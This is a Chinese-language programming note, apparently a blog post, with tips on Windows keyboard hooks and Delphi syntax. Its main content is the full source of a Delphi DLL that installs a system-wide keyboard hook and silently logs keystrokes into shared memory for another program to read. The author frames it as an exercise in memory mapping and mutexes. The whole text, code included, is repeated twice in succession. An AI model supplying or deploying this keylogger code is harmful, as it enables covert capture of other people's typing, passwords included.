做了好几天终于把这个键盘记录的钩子函数给做出来了。中间有好多小毛病值得注意:
<一>对于钩子函数形如:
Function HotKeyHook(Icode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
如果icode<0 则钩子函数的返回值必须为CallNextHookEX(钩子句柄,icode,wparam,lparam)
如果icode>=0 则在钩子函数定义后,最好使用CallNextHookEx函数来返回其返回值,否则,其他安装了WM_CALLWNDPROC挂钩的应用程序将无法收到挂钩通知,从而导致错位的行为。如果不调用CallNextHookEx,则返回至为0;
<二>对于delphi中的 if..then..else..语句。在then和else后可以是一个单独语句,也可以是一个begin..end块。但是无论怎样 else前的一个语句不能加分号;。否则会报错
下面是一个完成的DLL单元文件:在安装钩子后,在后台实现对键盘的记录;
unit dllmem;
interface
uses
windows,SysUtils,Classes;
CONST
BUFFER_SIZE=16*1024;
HOOK_MEM_NAME='MEM_FILE';
HOOK_MUTEX_NAME='MUTEX_NAME';
type
Tshare=record
Keycount:integer;
Keys:array[0..BUFFER_SIZE] of char;
end;
Pshare=^Tshare;
var
shared:Pshare;
hKeyHook:HHook;
MemFile,MutexFile:Thandle;
implementation
Function KeyHook(Icode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;Stdcall;export;
const
KeyPressMask = $80000000;
begin
if iCode < 0 then
Result := CallNextHookEx(hKeyHook,
iCode,
wParam,
lParam)
else begin
if ((lParam and KeyPressMask) = 0) then
begin
Shared^.Keys[Shared^.KeyCount] := Char(wParam and $00FF); //内容映射大多是使用一个指针对一片内存或者一个文件进行访问
Inc(Shared^.KeyCount);
if Shared^.KeyCount >= BUFFER_SIZE - 1 then Shared^.KeyCount := 0;
end;
Result := CallNextHookEx(hKeyHook, iCode, wParam,lParam);
end;
end;
Function EnableHook:BOOL;Export;
begin
Result:=False;
Shared^.Keycount:=0;
If hKeyHook<>0 then Exit;
hKeyHook:=SetWindowsHookEx(WH_KEYBOARD,KeyHook,Hinstance,0);
Result:=(hKeyHook<>0);
end;
Function DisableHook:Bool;export;
Begin
If hKeyHook<>0 Then
begin
UnHookWindowsHookEx(hKeyHook);
hKeyHook:=0;
Shared^.Keycount:=0;
end;
Result:=(hKeyHook=0);
end;
Function GetKeyCount:Integer;export; //取得键盘缓冲区击键次数
begin
Result:=Shared^.Keycount;
end;
Function GetKey(index:integer):Char;export;
begin
Result:=Shared^.keys[index] ;
end;
Procedure ClearKeyString;export; //清空键盘缓冲区
begin
Shared^.Keycount:=0;
end;
exports
GetKey,GetKeyCount,ClearKeyString,EnableHook,DisableHook;
Initialization //DLL初始化部分
MutexFile:=CreateMutex(nil,True,HOOK_MUTEX_NAME);//创建一个互斥体,对共享数据进行保护,不过没有明白具体的作用。
MemFile:=OpenFileMapping(FILE_MAP_WRITE,FALSE,HOOK_MEM_NAME);
if MemFile=0 then
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,
Sizeof(Tshare),HOOK_MEM_NAME);
//Dll中如何抛出异常?必须加上SysUtils单元
Shared:=MapViewofFile(MEMFile,File_MAP_WRITE,0,0,sizeof(Tshare));
ReleaseMutex(MutexFile);
CloseHandle(MutexFile);
Finalization
if hKeyHook<>0 then DisableHook;
UnmapviewofFile(shared);
CloseHandle(MEMFILE);
end.
注:这个程序的主要目的是对内存映射,指针的理解。(TYPE Tsharedata=record),还有互斥体的使用,但是对互斥体的具体作用还不是很明白。
<一>对于钩子函数形如:
Function HotKeyHook(Icode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
如果icode<0 则钩子函数的返回值必须为CallNextHookEX(钩子句柄,icode,wparam,lparam)
如果icode>=0 则在钩子函数定义后,最好使用CallNextHookEx函数来返回其返回值,否则,其他安装了WM_CALLWNDPROC挂钩的应用程序将无法收到挂钩通知,从而导致错位的行为。如果不调用CallNextHookEx,则返回至为0;
<二>对于delphi中的 if..then..else..语句。在then和else后可以是一个单独语句,也可以是一个begin..end块。但是无论怎样 else前的一个语句不能加分号;。否则会报错
下面是一个完成的DLL单元文件:在安装钩子后,在后台实现对键盘的记录;
unit dllmem;
interface
uses
windows,SysUtils,Classes;
CONST
BUFFER_SIZE=16*1024;
HOOK_MEM_NAME='MEM_FILE';
HOOK_MUTEX_NAME='MUTEX_NAME';
type
Tshare=record
Keycount:integer;
Keys:array[0..BUFFER_SIZE] of char;
end;
Pshare=^Tshare;
var
shared:Pshare;
hKeyHook:HHook;
MemFile,MutexFile:Thandle;
implementation
Function KeyHook(Icode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;Stdcall;export;
const
KeyPressMask = $80000000;
begin
if iCode < 0 then
Result := CallNextHookEx(hKeyHook,
iCode,
wParam,
lParam)
else begin
if ((lParam and KeyPressMask) = 0) then
begin
Shared^.Keys[Shared^.KeyCount] := Char(wParam and $00FF); //内容映射大多是使用一个指针对一片内存或者一个文件进行访问
Inc(Shared^.KeyCount);
if Shared^.KeyCount >= BUFFER_SIZE - 1 then Shared^.KeyCount := 0;
end;
Result := CallNextHookEx(hKeyHook, iCode, wParam,lParam);
end;
end;
Function EnableHook:BOOL;Export;
begin
Result:=False;
Shared^.Keycount:=0;
If hKeyHook<>0 then Exit;
hKeyHook:=SetWindowsHookEx(WH_KEYBOARD,KeyHook,Hinstance,0);
Result:=(hKeyHook<>0);
end;
Function DisableHook:Bool;export;
Begin
If hKeyHook<>0 Then
begin
UnHookWindowsHookEx(hKeyHook);
hKeyHook:=0;
Shared^.Keycount:=0;
end;
Result:=(hKeyHook=0);
end;
Function GetKeyCount:Integer;export; //取得键盘缓冲区击键次数
begin
Result:=Shared^.Keycount;
end;
Function GetKey(index:integer):Char;export;
begin
Result:=Shared^.keys[index] ;
end;
Procedure ClearKeyString;export; //清空键盘缓冲区
begin
Shared^.Keycount:=0;
end;
exports
GetKey,GetKeyCount,ClearKeyString,EnableHook,DisableHook;
Initialization //DLL初始化部分
MutexFile:=CreateMutex(nil,True,HOOK_MUTEX_NAME);//创建一个互斥体,对共享数据进行保护,不过没有明白具体的作用。
MemFile:=OpenFileMapping(FILE_MAP_WRITE,FALSE,HOOK_MEM_NAME);
if MemFile=0 then
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,
Sizeof(Tshare),HOOK_MEM_NAME);
//Dll中如何抛出异常?必须加上SysUtils单元
Shared:=MapViewofFile(MEMFile,File_MAP_WRITE,0,0,sizeof(Tshare));
ReleaseMutex(MutexFile);
CloseHandle(MutexFile);
Finalization
if hKeyHook<>0 then DisableHook;
UnmapviewofFile(shared);
CloseHandle(MEMFILE);
end.
注:这个程序的主要目的是对内存映射,指针的理解。(TYPE Tsharedata=record),还有互斥体的使用,但是对互斥体的具体作用还不是很明白。